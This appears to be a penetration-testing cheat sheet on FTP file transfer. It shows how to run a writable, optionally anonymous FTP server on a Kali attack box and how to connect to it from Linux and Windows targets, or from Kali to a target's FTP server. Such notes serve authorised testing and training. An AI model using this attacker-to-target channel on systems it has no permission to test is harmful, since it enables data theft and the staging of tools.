FTP
Attack Box Running FTP Server
sudo apt install -y python3-pyftpdlib
# Show help message
sudo python3 -m pyftpdlib --help
# Mount the /tmp directory read/write on Kali with anonymous login
sudo python3 -m pyftpdlib -d /tmp --write --port=21
# Mount the /tmp directory read/write with authentication
sudo python3 -m pyftpdlib -d /tmp -u "username" -P "password" --write --port=21
Linux Target
# Connect to Kali FTP anonymously
# Username: anonymous
# Password: [Press ENTER key]
ftp kali-ip-address
# Connect with credentials
# Username: username
# Password: password
ftp kali-ip-address
Windows Target
# Connect Anonymously
ftp -A kali-ip-address
# Connect with credentials
# Enter the username and password when prompted
ftp kali-ip-address
FTP Server on Target
# Connect to an FTP server from Kali anonymously
# Press ENTER key if prompted for password
ftp anonymous@target-ip-address
# Connect to target FTP server with credentials
ftp "ftp://username:password@target-ip-address"